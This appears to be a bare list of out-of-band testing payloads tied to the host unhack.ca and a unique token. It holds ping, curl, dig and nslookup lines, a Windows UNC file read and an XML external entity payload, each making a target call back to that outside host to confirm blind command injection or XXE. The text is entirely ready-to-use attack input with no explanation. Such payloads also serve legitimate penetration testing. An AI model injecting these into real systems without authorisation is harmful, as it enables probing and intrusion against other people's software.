$ ping -c1 -p 00fb53828b77da8655a3c6af886ced00 unhack.ca
 

$ curl http://unhack.ca/p/fb53828b77da8655a3c6af886ced
 

$ dig fb53828b77da8655a3c6af886ced @unhack.ca
 

$ dig fb53828b77da8655a3c6af886ced.ns.unhack.ca
 

C:\> nslookup fb53828b77da8655a3c6af886ced unhack.ca
 

C:\> type \\unhack.ca\fb53828b77da8655a3c6af886ced\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fb53828b77da8655a3c6af886ced">]>
    <foo>&xxe;</foo>